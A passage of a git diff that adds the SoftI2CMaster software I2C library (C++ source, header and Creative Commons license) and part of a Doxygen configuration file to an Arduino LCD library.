SoftI2CMaster::beginTransmission(uint8_t address) +{ + i2c_start(); + uint8_t rc = i2c_write((address<<1) | 0); // clr read bit + return rc; +} + +// +uint8_t SoftI2CMaster::requestFrom(uint8_t address) +{ + i2c_start(); + uint8_t rc = i2c_write((address<<1) | 1); // set read bit + return rc; +} +// +uint8_t SoftI2CMaster::requestFrom(int address) +{ + return requestFrom( (uint8_t) address); +} + +// +uint8_t SoftI2CMaster::beginTransmission(int address) +{ + return beginTransmission((uint8_t)address); +} + +// +// +// +uint8_t SoftI2CMaster::endTransmission(void) +{ + i2c_stop(); + //return ret; // FIXME + return 0; +} + +// must be called in: +// slave tx event callback +// or after beginTransmission(address) +uint8_t SoftI2CMaster::write(uint8_t data) +{ + return i2c_write(data); +} + +// must be called in: +// slave tx event callback +// or after beginTransmission(address) +void SoftI2CMaster::write(uint8_t* data, uint8_t quantity) +{ + for(uint8_t i = 0; i < quantity; ++i){ + write(data[i]); + } +} + +// must be called in: +// slave tx event callback +// or after beginTransmission(address) +void SoftI2CMaster::write(char* data) +{ + write((uint8_t*)data, strlen(data)); +} + +// must be called in: +// slave tx event callback +// or after beginTransmission(address) +void SoftI2CMaster::write(int data) +{ + write((uint8_t)data); +} + +//-------------------------------------------------------------------- + + +void SoftI2CMaster::i2c_writebit( uint8_t c ) +{ + if ( c > 0 ) { + i2c_sda_hi(); + } else { + i2c_sda_lo(); + } + + i2c_scl_hi(); + _delay_us(i2cbitdelay); + + i2c_scl_lo(); + _delay_us(i2cbitdelay); + + if ( c > 0 ) { + i2c_sda_lo(); + } + _delay_us(i2cbitdelay); +} + +// +uint8_t SoftI2CMaster::i2c_readbit(void) +{ + i2c_sda_hi(); + i2c_scl_hi(); + _delay_us(i2cbitdelay); + + uint8_t port = digitalPinToPort(_sdaPin); + volatile uint8_t* pinReg = portInputRegister(port); + uint8_t c = *pinReg; // I2C_PIN; + + i2c_scl_lo(); + _delay_us(i2cbitdelay); + + return ( c & _sdaBitMask) ? 1 : 0; +} + +// Inits bitbanging port, must be called before using the functions below +// +void SoftI2CMaster::i2c_init(void) +{ + //I2C_PORT &=~ (_BV( I2C_SDA ) | _BV( I2C_SCL )); + //*_sclPortReg &=~ (_sdaBitMask | _sclBitMask); + i2c_sda_hi(); + i2c_scl_hi(); + + _delay_us(i2cbitdelay); +} + +// Send a START Condition +// +void SoftI2CMaster::i2c_start(void) +{ + // set both to high at the same time + //I2C_DDR &=~ (_BV( I2C_SDA ) | _BV( I2C_SCL )); + //*_sclDirReg &=~ (_sdaBitMask | _sclBitMask); + i2c_sda_hi(); + i2c_scl_hi(); + + _delay_us(i2cbitdelay); + + i2c_sda_lo(); + _delay_us(i2cbitdelay); + + i2c_scl_lo(); + _delay_us(i2cbitdelay); +} + +void SoftI2CMaster::i2c_repstart(void) +{ + // set both to high at the same time (releases drive on both lines) + //I2C_DDR &=~ (_BV( I2C_SDA ) | _BV( I2C_SCL )); + //*_sclDirReg &=~ (_sdaBitMask | _sclBitMask); + i2c_sda_hi(); + i2c_scl_hi(); + + i2c_scl_lo(); // force SCL low + _delay_us(i2cbitdelay); + + i2c_sda_release(); // release SDA + _delay_us(i2cbitdelay); + + i2c_scl_release(); // release SCL + _delay_us(i2cbitdelay); + + i2c_sda_lo(); // force SDA low + _delay_us(i2cbitdelay); +} + +// Send a STOP Condition +// +void SoftI2CMaster::i2c_stop(void) +{ + i2c_scl_hi(); + _delay_us(i2cbitdelay); + + i2c_sda_hi(); + _delay_us(i2cbitdelay); +} + +// write a byte to the I2C slave device +// +uint8_t SoftI2CMaster::i2c_write( uint8_t c ) +{ + for ( uint8_t i=0;i<8;i++) { + i2c_writebit( c & 128 ); + c<<=1; + } + + return i2c_readbit(); +} + +// read a byte from the I2C slave device +// +uint8_t SoftI2CMaster::i2c_read( uint8_t ack ) +{ + uint8_t res = 0; + + for ( uint8_t i=0;i<8;i++) { + res <<= 1; + res |= i2c_readbit(); + } + + if ( ack ) + i2c_writebit( 0 ); + else + i2c_writebit( 1 ); + + _delay_us(i2cbitdelay); + + return res; +} + +// FIXME: this isn't right, surely +uint8_t SoftI2CMaster::read( uint8_t ack ) +{ + return i2c_read( ack ); +} + +// +uint8_t SoftI2CMaster::read() +{ + return i2c_read( I2C_ACK ); +} + +// +uint8_t SoftI2CMaster::readLast() +{ + return i2c_read( I2C_NAK ); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.h b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.h new file mode 100644 index 0000000..a6109e8 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster.h @@ -0,0 +1,68 @@ +/* + * SoftI2CMaster.h -- Multi-instance software I2C Master library + * + * 2010-2012 Tod E. Kurt, http://todbot.com/blog/ + * 2014, by Testato: update library and examples for follow Wire’s API of Arduino IDE 1.x + * + */ + +#ifndef SoftI2CMaster_h +#define SoftI2CMaster_h + +#include + +#define _SOFTI2CMASTER_VERSION 13 // software version of this library + + +class SoftI2CMaster +{ + +private: + // per object data + uint8_t _sclPin; + uint8_t _sdaPin; + uint8_t _sclBitMask; + uint8_t _sdaBitMask; + volatile uint8_t *_sclPortReg; + volatile uint8_t *_sdaPortReg; + volatile uint8_t *_sclDirReg; + volatile uint8_t *_sdaDirReg; + + uint8_t usePullups; + + // private methods + + void i2c_writebit( uint8_t c ); + uint8_t i2c_readbit(void); + void i2c_init(void); + void i2c_start(void); + void i2c_repstart(void); + void i2c_stop(void); + uint8_t i2c_write( uint8_t c ); + uint8_t i2c_read( uint8_t ack ); + +public: + // public methods + SoftI2CMaster(); + SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin); + SoftI2CMaster(uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups); + + void setPins(uint8_t sclPin, uint8_t sdaPin, uint8_t usePullups); + + uint8_t beginTransmission(uint8_t address); + uint8_t beginTransmission(int address); + uint8_t endTransmission(void); + uint8_t write(uint8_t); + void write(uint8_t*, uint8_t); + void write(int); + void write(char*); + + uint8_t requestFrom(int address); + uint8_t requestFrom(uint8_t address); + uint8_t read( uint8_t ack ); + uint8_t read(); + uint8_t readLast(); + +}; + +#endif diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster_LICENSE.txt b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster_LICENSE.txt new file mode 100644 index 0000000..91a4dc6 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster_/SoftI2CMaster_LICENSE.txt @@ -0,0 +1,33 @@ + +Copyright (c) Tod E. Kurt, 2010-2015 + +--- + +LICENSE: +Creative Commons - Attribution - ShareAlike 3.0 +http://creativecommons.org/licenses/by-sa/3.0/ +See why we chose this license: http://www.inmojo.com/licenses/ + +This work is licensed under the Creative Commons Attribution-ShareAlike 3.0 Unported License. To view a copy of this license, visit http://creativecommons.org/licenses/by-sa/3.0/ or send a letter to Creative Commons, 444 Castro Street, Suite 900, Mountain View, California, 94041, USA. + + +This is a human-readable summary of the full license. + +You are free: +- to Share - to copy, distribute and transmit the work, and +- to Remix - to adapt the work + +Under the following conditions: +- Attribution - You must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work.) +- Share Alike - If you alter, transform, or build upon this work, you may distribute the resulting work only under the same, similar or a compatible license. + +With the understanding that: +- Waiver - Any of the above conditions can be waived if you get permission from the copyright holder. +- Other Rights - In no way are any of the following rights affected by the license: +-- your fair dealing or fair use rights; +-- the author's moral rights; and +-- rights other persons may have either in the work itself or in how the work is used, such as publicity or privacy rights. + +Notice - For any reuse or distribution, you must make clear to others the license terms of this work. The best way to do that is with a link to +http://creativecommons.org/licenses/by-sa/3.0/ + diff --git a/libraries/NewliquidCrystal/utility/docs/Doxyfile b/libraries/NewliquidCrystal/utility/docs/Doxyfile new file mode 100644 index 0000000..51d1f5c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/Doxyfile @@ -0,0 +1,2454 @@ +# Doxyfile 1.8.10 + +# This file describes the settings to be used by the documentation system +# doxygen (www.doxygen.org) for a project. +# +# All text after a double hash (##) is considered a comment and is placed in +# front of the TAG it is preceding. +# +# All text after a single hash (#) is considered a comment and will be ignored. +# The format is: +# TAG = value [value, ...] +# For lists, items can also be appended using: +# TAG += value [value, ...] +# Values that contain spaces should be placed between quotes (\" \"). + +#--------------------------------------------------------------------------- +# Project related configuration options +#--------------------------------------------------------------------------- + +# This tag specifies the encoding used for all characters in the config file +# that follow. The default is UTF-8 which is also the encoding used for all text +# before the first occurrence of this tag. Doxygen uses libiconv (or the iconv +# built into libc) for the transcoding. See http://www.gnu.org/software/libiconv +# for the list of possible encodings. +# The default value is: UTF-8. + +DOXYFILE_ENCODING = UTF-8 + +# The PROJECT_NAME tag is a single word (or a sequence of words surrounded by +# double-quotes, unless you are using Doxywizard) that should identify the +# project for which the documentation is generated. This name is used in the +# title of most generated pages and in a few other places. +# The default value is: My Project. + +PROJECT_NAME = "New LiquidCrystal library" + +# The PROJECT_NUMBER tag can be used to enter a project or revision number. This +# could be handy for archiving the generated documentation or if some version +# control system is used. + +PROJECT_NUMBER = 1.3.1 + +# Using the PROJECT_BRIEF tag one can provide an optional one line description +# for a project that appears at the top of each page and should give viewer a +# quick idea about the purpose of the project. Keep the description short. + +PROJECT_BRIEF = "Generic LCD control library" + +# With the PROJECT_LOGO tag one can specify a logo or an icon that is included +# in the documentation. The maximum height of the logo should not exceed 55 +# pixels and the maximum width should not exceed 200 pixels. Doxygen will copy +# the logo to the output directory. + +PROJECT_LOGO = + +# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) path +# into which the generated documentation will be written. If a relative path is +# entered, it will be relative to the location where doxygen was started. If +# left blank the current directory will be used. + +OUTPUT_DIRECTORY = + +# If the CREATE_SUBDIRS tag is set to YES then doxygen will create 4096 sub- +# directories (in 2 levels) under the output directory of each output format and +# will distribute the generated files over these directories. Enabling this +# option can be useful when feeding doxygen a huge amount of source files, where +# putting all generated files in the same directory would otherwise causes +# performance problems for the file system. +# The default value is: NO. + +CREATE_SUBDIRS = NO + +# If the ALLOW_UNICODE_NAMES tag is set to YES, doxygen will allow non-ASCII +# characters to appear in the names of generated files. If set to NO, non-ASCII +# characters will be escaped, for example _xE3_x81_x84 will be used for Unicode +# U+3044. +# The default value is: NO. + +ALLOW_UNICODE_NAMES = NO + +# The OUTPUT_LANGUAGE tag is used to specify the language in which all +# documentation generated by doxygen is written. Doxygen will use this +# information to generate all constant output in the proper language. +# Possible values are: Afrikaans, Arabic, Armenian, Brazilian, Catalan, Chinese, +# Chinese-Traditional, Croatian, Czech, Danish, Dutch, English (United States), +# Esperanto, Farsi (Persian), Finnish, French, German, Greek, Hungarian, +# Indonesian, Italian, Japanese, Japanese-en (Japanese with English messages), +# Korean, Korean-en (Korean with English messages), Latvian, Lithuanian, +# Macedonian, Norwegian, Persian (Farsi), Polish, Portuguese, Romanian, Russian, +# Serbian, Serbian-Cyrillic, Slovak, Slovene, Spanish, Swedish, Turkish, +# Ukrainian and Vietnamese. +# The default value is: English. + +OUTPUT_LANGUAGE = English + +# If the BRIEF_MEMBER_DESC tag is set to YES, doxygen will include brief member +# descriptions after the members that are listed in the file and class +# documentation (similar to Javadoc). Set to NO to disable this. +# The default value is: YES. + +BRIEF_MEMBER_DESC = YES + +# If the REPEAT_BRIEF tag is set to YES, doxygen will prepend the brief +# description of a member or function before the detailed description +# +# Note: If both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the +# brief descriptions will be completely suppressed. +# The default value is: YES. + +REPEAT_BRIEF = YES + +# This tag implements a quasi-intelligent brief description abbreviator that is +# used to form the text in various listings. Each string in this list, if found +# as the leading text of the brief description, will be stripped from the text +# and the result, after processing the whole list, is used as the annotated +# text. Otherwise, the brief description is used as-is. If left blank, the +# following values are used ($name is automatically replaced with the name of +# the entity):The $name class, The $name widget, The $name file, is, provides, +# specifies, contains, represents, a, an and the. + +ABBREVIATE_BRIEF = "The $name class" \ + "The $name widget" \ + "The $name file" \ + is \ + provides \ + specifies \ + contains \ + represents \ + a \ + an \ + the + +# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then +# doxygen will generate a detailed section even if there is only a brief +# description. +# The default value is: NO. + +ALWAYS_DETAILED_SEC = NO + +# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all +# inherited members of a class in the documentation of that class as if those +# members were ordinary class members. Constructors, destructors and assignment +# operators of the base classes will not be shown. +# The default value is: NO. + +INLINE_INHERITED_MEMB = NO + +# If the FULL_PATH_NAMES tag is set to YES, doxygen will prepend the full path +# before files name in the file list and in the header files. If set to NO the +# shortest path that makes the file name unique will be used +# The default value is: YES. + +FULL_PATH_NAMES = YES + +# The STRIP_FROM_PATH tag can be used to strip a user-defined part of the path. +# Stripping is only done if one of the specified strings matches the left-hand +# part of the path. The tag can be used to show relative paths in the file list. +# If left blank the directory from which doxygen is run is used as the path to +# strip. +# +# Note that you can specify absolute paths here, but also relative paths, which +# will be relative from the directory where doxygen is started. +# This tag requires that the tag FULL_PATH_NAMES is set to YES. + +STRIP_FROM_PATH = + +# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of the +# path mentioned in the documentation of a class, which tells the reader which +# header file to include in order to use a class. If left blank only the name of +# the header file containing the class definition is used. Otherwise one should +# specify the list of include paths that are normally passed to the compiler +# using the -I flag. + +STRIP_FROM_INC_PATH = + +# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter (but +# less readable) file names. This can be useful is your file systems doesn't +# support long names like on DOS, Mac, or CD-ROM. +# The default value is: NO. + +SHORT_NAMES = NO + +# If the JAVADOC_AUTOBRIEF tag is set to YES then doxygen will interpret the +# first line (until the first dot) of a Javadoc-style comment as the brief +# description. If set to NO, the Javadoc-style will behave just like regular Qt- +# style comments (thus requiring an explicit @brief command for a brief +# description.) +# The default value is: NO. + +JAVADOC_AUTOBRIEF = NO + +# If the QT_AUTOBRIEF tag is set to YES then doxygen will interpret the first +# line (until the first dot) of a Qt-style comment as the brief description. If +# set to NO, the Qt-style will behave just like regular Qt-style comments (thus +# requiring an explicit \brief command for a brief description.) +# The default value is: NO. + +QT_AUTOBRIEF = NO + +# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make doxygen treat a +# multi-line C++ special comment block (i.e. a block of //! or /// comments) as +# a brief description. This used to be the default behavior. The new default is +# to treat a multi-line C++ comment block as a detailed description. Set this +# tag to YES if you prefer the old behavior instead. +# +# Note that setting this tag to YES also means that rational rose comments are +# not recognized any more. +# The default value is: NO. + +MULTILINE_CPP_IS_BRIEF = NO + +# If the INHERIT_DOCS tag is set to YES then an undocumented member inherits the +# documentation from any documented member that it re-implements. +# The default value is: YES. + +INHERIT_DOCS = YES + +# If the SEPARATE_MEMBER_PAGES tag is set to YES then doxygen will produce a new +# page for each member. If set to NO, the documentation of a member will be part +# of the file/class/namespace that contains it. +# The default value is: NO. + +SEPARATE_MEMBER_PAGES = NO + +# The TAB_SIZE tag can be used to set the number of spaces in a tab. Doxygen +# uses this value to replace tabs by spaces in code fragments. +# Minimum value: 1, maximum value: 16, default value: 4. + +TAB_SIZE = 4 + +# This tag can be used to specify a number of aliases that act as commands in +# the documentation. An alias has the form: +# name=value +# For example adding +# "sideeffect=@par Side Effects:\n" +# will allow you to put the command \sideeffect (or @sideeffect) in the +# documentation, which will result in a user-defined paragraph with heading +# "Side Effects:". You can put \n's in the value part of an alias to insert +# newlines. + +ALIASES = + +# This tag can be used to specify a number of word-keyword mappings (TCL only). +# A mapping has the form "name=value". For example adding "class=itcl::class" +# will allow you to use the command class in the itcl::class meaning. + +TCL_SUBST = + +# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C sources +# only. Doxygen will then generate output that is more tailored for C. For +# instance, some of the names that are used will be different. The list of all +# members will be omitted, etc. +# The default value is: NO. + +OPTIMIZE_OUTPUT_FOR_C = NO + +# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java or +# Python sources only. Doxygen will then generate output that is more tailored +# for that language. For instance, namespaces will be presented as packages, +# qualified scopes will look different, etc. +# The default value is: NO. + +OPTIMIZE_OUTPUT_JAVA = NO + +# Set the OPTIMIZE_FOR_FORTRAN tag to YES if your project consists of Fortran +# sources. Doxygen will then generate output that is tailored for Fortran. +# The default value is: NO. + +OPTIMIZE_FOR_FORTRAN = NO + +# Set the OPTIMIZE_OUTPUT_VHDL tag to YES if your project consists of VHDL +# sources. Doxygen will then generate output that is tailored for VHDL. +# The default value is: NO. + +OPTIMIZE_OUTPUT_VHDL = NO + +# Doxygen selects the parser to use depending on the extension of the files it +# parses. With this tag you can assign which parser to use for a given +# extension. Doxygen has a built-in mapping, but you can override or extend it +# using this tag. The format is ext=language, where ext is a file extension, and +# language is one of the parsers supported by doxygen: IDL, Java, Javascript, +# C#, C, C++, D, PHP, Objective-C, Python, Fortran (fixed format Fortran: +# FortranFixed, free formatted Fortran: FortranFree, unknown formatted Fortran: +# Fortran. In the later case the parser tries to guess whether the code is fixed +# or free formatted code, this is the default for Fortran type files), VHDL. For +# instance to make doxygen treat .inc files as Fortran files (default is PHP), +# and .f files as C (default is Fortran), use: inc=Fortran f=C. +# +# Note: For files without extension you can use no_extension as a placeholder. +# +# Note that for custom extensions you also need to set FILE_PATTERNS otherwise +# the files are not read by doxygen. + +EXTENSION_MAPPING = + +# If the MARKDOWN_SUPPORT tag is enabled then doxygen pre-processes all comments +# according to the Markdown format, which allows for more readable +# documentation. See http://daringfireball.net/projects/markdown/ for details. +# The output of markdown processing is further processed by doxygen, so you can +# mix doxygen, HTML, and XML commands with Markdown formatting. Disable only in +# case of backward compatibilities issues. +# The default value is: YES. + +MARKDOWN_SUPPORT = YES + +# When enabled doxygen tries to link words that correspond to documented +# classes, or namespaces to their corresponding documentation. Such a link can +# be prevented in individual cases by putting a % sign in front of the word or +# globally by setting AUTOLINK_SUPPORT to NO. +# The default value is: YES. + +AUTOLINK_SUPPORT = YES + +# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want +# to include (a tag file for) the STL sources as input, then you should set this +# tag to YES in order to let doxygen match functions declarations and +# definitions whose arguments contain STL classes (e.g. func(std::string); +# versus func(std::string) {}). This also make the inheritance and collaboration +# diagrams that involve STL classes more complete and accurate. +# The default value is: NO. + +BUILTIN_STL_SUPPORT = NO + +# If you use Microsoft's C++/CLI language, you should set this option to YES to +# enable parsing support. +# The default value is: NO. + +CPP_CLI_SUPPORT = NO + +# Set the SIP_SUPPORT tag to YES if your project consists of sip (see: +# http://www.riverbankcomputing.co.uk/software/sip/intro) sources only. Doxygen +# will parse them like normal C++ but will assume all classes use public instead +# of private inheritance when no explicit protection keyword is present. +# The default value is: NO. + +SIP_SUPPORT = NO + +# For Microsoft's IDL there are propget and propput attributes to indicate +# getter and setter methods for a property. Setting this option to YES will make +# doxygen to replace the get and set methods by a property in the documentation. +# This will only work if the methods are indeed getting or setting a simple +# type. If this is not the case, or you want to show the methods anyway, you +# should set this option to NO. +# The default value is: YES. + +IDL_PROPERTY_SUPPORT = YES + +# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC +# tag is set to YES then doxygen will reuse the documentation of the first +# member in the group (if any) for the other members of the group. By default +# all members of a group must be documented explicitly. +# The default value is: NO. + +DISTRIBUTE_GROUP_DOC = NO + +# If one adds a struct or class to a group and this option is enabled, then also +# any nested class or struct is added to the same group. By default this option +# is disabled and one has to add nested compounds explicitly via \ingroup. +# The default value is: NO. + +GROUP_NESTED_COMPOUNDS = NO + +# Set the SUBGROUPING tag to YES to allow class member groups of the same type +# (for instance a group of public functions) to be put as a subgroup of that +# type (e.g. under the Public Functions section). Set it to NO to prevent +# subgrouping. Alternatively, this can be done per class using the +# \nosubgrouping command. +# The default value is: YES. + +SUBGROUPING = YES + +# When the INLINE_GROUPED_CLASSES tag is set to YES, classes, structs and unions +# are shown inside the group in which they are included (e.g. using \ingroup) +# instead of on a separate page (for HTML and Man pages) or section (for LaTeX +# and RTF). +# +# Note that this feature does not work in combination with +# SEPARATE_MEMBER_PAGES. +# The default value is: NO. + +INLINE_GROUPED_CLASSES = NO + +# When the INLINE_SIMPLE_STRUCTS tag is set to YES, structs, classes, and unions +# with only public data fields or simple typedef fields will be shown inline in +# the documentation of the scope in which they are defined (i.e. file, +# namespace, or group documentation), provided this scope is documented. If set +# to NO, structs, classes, and unions are shown on a separate page (for HTML and +# Man pages) or section (for LaTeX and RTF). +# The default value is: NO. + +INLINE_SIMPLE_STRUCTS = NO + +# When TYPEDEF_HIDES_STRUCT tag is enabled, a typedef of a struct, union, or +# enum is documented as struct, union, or enum with the name of the typedef. So +# typedef struct TypeS {} TypeT, will appear in the documentation as a struct +# with name TypeT. When disabled the typedef will appear as a member of a file, +# namespace, or class. And the struct will be named TypeS. This can typically be +# useful for C code in case the coding convention dictates that all compound +# types are typedef'ed and only the typedef is referenced, never the tag name. +# The default value is: NO. + +TYPEDEF_HIDES_STRUCT = NO + +# The size of the symbol lookup cache can be set using LOOKUP_CACHE_SIZE. This +# cache is used to resolve symbols given their name and scope. Since this can be +# an expensive process and often the same symbol appears multiple times in the +# code, doxygen keeps a cache of pre-resolved symbols. If the cache is too small +# doxygen will become slower. If the cache is too large, memory is wasted. The +# cache size is given by this formula: 2^(16+LOOKUP_CACHE_SIZE). The valid range +# is 0..9, the default is 0, corresponding to a cache size of 2^16=65536 +# symbols. At the end of a run doxygen will report the cache usage and suggest +# the optimal cache size from a speed point of view. +# Minimum value: 0, maximum value: 9, default value: 0. + +LOOKUP_CACHE_SIZE = 0 + +#--------------------------------------------------------------------------- +# Build related configuration options +#--------------------------------------------------------------------------- + +# If the EXTRACT_ALL tag is set to YES, doxygen will assume all entities in +# documentation are documented, even if no documentation was available. Private +# class members and static file members will be hidden unless the +# EXTRACT_PRIVATE respectively EXTRACT_STATIC tags are set to YES. +# Note: This will also disable the warnings about undocumented members that are +# normally produced when WARNINGS is set to YES. +# The default value is: NO. + +EXTRACT_ALL = NO + +# If the EXTRACT_PRIVATE tag is set to YES, all private members of a class will +# be included in the documentation. +# The default value is: NO. + +EXTRACT_PRIVATE = NO + +# If the EXTRACT_PACKAGE tag is set to YES, all members with package or internal +# scope will be included in the documentation. +# The default value is: NO. + +EXTRACT_PACKAGE = NO + +# If the EXTRACT_STATIC tag is set to YES, all static members of a file will be +# included in the documentation. +# The default value is: NO. + +EXTRACT_STATIC = NO + +# If the EXTRACT_LOCAL_CLASSES tag is set to YES, classes (and structs) defined +# locally in source files will be included in the documentation. If set to NO, +# only classes defined in header files are included. Does not have any effect +# for Java sources. +# The default value is: YES. + +EXTRACT_LOCAL_CLASSES = YES + +# This flag is only useful for Objective-C code. If set to YES, local methods, +# which are defined in the implementation section but not in the interface are +# included in the documentation. If set to NO, only methods in the interface are +# included. +# The default value is: NO. + +EXTRACT_LOCAL_METHODS = NO + +# If this flag is set to YES, the members of anonymous namespaces will be +# extracted and appear in the documentation as a namespace called +# 'anonymous_namespace{file}', where file will be replaced with the base name of +# the file that contains the anonymous namespace. By default anonymous namespace +# are hidden. +# The default value is: NO. + +EXTRACT_ANON_NSPACES = NO + +# If the HIDE_UNDOC_MEMBERS tag is set to YES, doxygen will hide all +# undocumented members inside documented classes or files. If set to NO these +# members will be included in the various overviews, but no documentation +# section is generated. This option has no effect if EXTRACT_ALL is enabled. +# The default value is: NO. + +HIDE_UNDOC_MEMBERS = NO + +# If the HIDE_UNDOC_CLASSES tag is set to YES, doxygen will hide all +# undocumented classes that are normally visible in the class hierarchy. If set +# to NO, these classes will be included in the various overviews. This option +# has no effect if EXTRACT_ALL is enabled. +# The default value is: NO. + +HIDE_UNDOC_CLASSES = NO + +# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, doxygen will hide all friend +# (class|struct|union) declarations. If set to NO, these declarations will be +# included in the documentation. +# The default value is: NO. + +HIDE_FRIEND_COMPOUNDS = NO + +# If the HIDE_IN_BODY_DOCS tag is set to YES, doxygen will hide any +# documentation blocks found inside the body of a function. If set to NO, these +# blocks will be appended to the function's detailed documentation block. +# The default value is: NO. + +HIDE_IN_BODY_DOCS = NO + +# The INTERNAL_DOCS tag determines if documentation that is typed after a +# \internal command is included. If the tag is set to NO then the documentation +# will be excluded. Set it to YES to include the internal documentation. +# The default value is: NO. + +INTERNAL_DOCS = NO + +# If the CASE_SENSE_NAMES tag is set to NO then doxygen will only generate file +# names in lower-case letters. If set to YES, upper-case letters are also +# allowed. This is useful if you have classes or files whose names only differ +# in case and if your file system supports case sensitive file names. Windows +# and Mac users are advised to set this option to NO. +# The default value is: system dependent. + +CASE_SENSE_NAMES = NO + +# If the HIDE_SCOPE_NAMES tag is set to NO then doxygen will show members with +# their full class and namespace scopes in the documentation. If set to YES, the +# scope will be hidden. +# The default value is: NO. + +HIDE_SCOPE_NAMES = NO + +# If the HIDE_COMPOUND_REFERENCE tag is set to NO (default) then doxygen will +# append additional text to a page's title, such as Class Reference. If set to +# YES the compound reference will be hidden. +# The default value is: NO. + +HIDE_COMPOUND_REFERENCE= NO + +# If the SHOW_INCLUDE_FILES tag is set to YES then doxygen will put a list of +# the files that are included by a file in the documentation of that file. +# The default value is: YES. + +SHOW_INCLUDE_FILES = YES + +# If the SHOW_GROUPED_MEMB_INC tag is set to YES then Doxygen will add for each +# grouped member an include statement to the documentation, telling the reader +# which file to include in order to use the member. +# The default value is: NO. + +SHOW_GROUPED_MEMB_INC = NO + +# If the FORCE_LOCAL_INCLUDES tag is set to YES then doxygen will list include +# files with double quotes in the documentation rather than with sharp brackets. +# The default value is: NO. + +FORCE_LOCAL_INCLUDES = NO + +# If the INLINE_INFO tag is set to YES then a tag [inline] is inserted in the +# documentation for inline members. +# The default value is: YES. + +INLINE_INFO = YES + +# If the SORT_MEMBER_DOCS tag is set to YES then doxygen will sort the +# (detailed) documentation of file and class members alphabetically by member +# name. If set to NO, the members will appear in declaration order. +# The default value is: YES. + +SORT_MEMBER_DOCS = YES + +# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the brief +# descriptions of file, namespace and class members alphabetically by member +# name. If set to NO, the members will appear in declaration order. Note that +# this will also influence the order of the classes in the class list. +# The default value is: NO. + +SORT_BRIEF_DOCS = NO + +# If the SORT_MEMBERS_CTORS_1ST tag is set to YES then doxygen will sort the +# (brief and detailed) documentation of class members so that constructors and +# destructors are listed first. If set to NO the constructors will appear in the +# respective orders defined by SORT_BRIEF_DOCS and SORT_MEMBER_DOCS. +# Note: If SORT_BRIEF_DOCS is set to NO this option is ignored for sorting brief +# member documentation. +# Note: If SORT_MEMBER_DOCS is set to NO this option is ignored for sorting +# detailed member documentation. +# The default value is: NO. + +SORT_MEMBERS_CTORS_1ST = NO + +# If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the hierarchy +# of group names into alphabetical order. If set to NO the group names will +# appear in their defined order. +# The default value is: NO. + +SORT_GROUP_NAMES = NO + +# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be sorted by +# fully-qualified names, including namespaces. If set to NO, the class list will +# be sorted only by class name, not including the namespace part. +# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. +# Note: This option applies only to the class list, not to the alphabetical +# list. +# The default value is: NO. + +SORT_BY_SCOPE_NAME = NO + +# If the STRICT_PROTO_MATCHING option is enabled and doxygen fails to do proper +# type resolution of all parameters of a function it will reject a match between +# the prototype and the implementation of a member function even if there is +# only one candidate or it is obvious which candidate to choose by doing a +# simple string match. By disabling STRICT_PROTO_MATCHING doxygen will still +# accept a match between prototype and implementation in such cases. +# The default value is: NO. + +STRICT_PROTO_MATCHING = NO + +# The GENERATE_TODOLIST tag can be used to enable (YES) or disable (NO) the todo +# list. This list is created by putting \todo commands in the documentation. +# The default value is: YES. + +GENERATE_TODOLIST = YES + +# The GENERATE_TESTLIST tag can be used to enable (YES) or disable (NO) the test +# list. This list is created by putting \test commands in the documentation. +# The default value is: YES. + +GENERATE_TESTLIST = YES + +# The GENERATE_BUGLIST tag can be used to enable (YES) or disable (NO) the bug +# list. This list is created by putting \bug commands in the documentation. +# The default value is: YES. + +GENERATE_BUGLIST = YES + +# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or disable (NO) +# the deprecated list. This list is created by putting \deprecated commands in +# the documentation. +# The default value is: YES. + +GENERATE_DEPRECATEDLIST= YES + +# The ENABLED_SECTIONS tag can be used to enable conditional documentation +# sections, marked by \if ... \endif and \cond +# ... \endcond blocks. + +ENABLED_SECTIONS = + +# The MAX_INITIALIZER_LINES tag determines the maximum number of lines that the +# initial value of a variable or macro / define can have for it to appear in the +# documentation. If the initializer consists of more lines than specified here +# it will be hidden. Use a value of 0 to hide initializers completely. The +# appearance of the value of individual variables and macros / defines can be +# controlled using \showinitializer or \hideinitializer command in the +# documentation regardless of this setting. +# Minimum value: 0, maximum value: 10000, default value: 30. + +MAX_INITIALIZER_LINES = 30 + +# Set the SHOW_USED_FILES tag to NO to disable the list of files generated at +# the bottom of the documentation of classes and structs. If set to YES, the +# list will mention the files that were used to generate the documentation. +# The default value is: YES. + +SHOW_USED_FILES = YES + +# Set the SHOW_FILES tag to NO to disable the generation of the Files page. This +# will remove the Files entry from the Quick Index and from the Folder Tree View +# (if specified). +# The default value is: YES. + +SHOW_FILES = YES + +# Set the SHOW_NAMESPACES tag to NO to disable the generation of the Namespaces +# page. This will remove the Namespaces entry from the Quick Index and from the +# Folder Tree View (if specified). +# The default value is: YES. + +SHOW_NAMESPACES = YES + +# The FILE_VERSION_FILTER tag can be 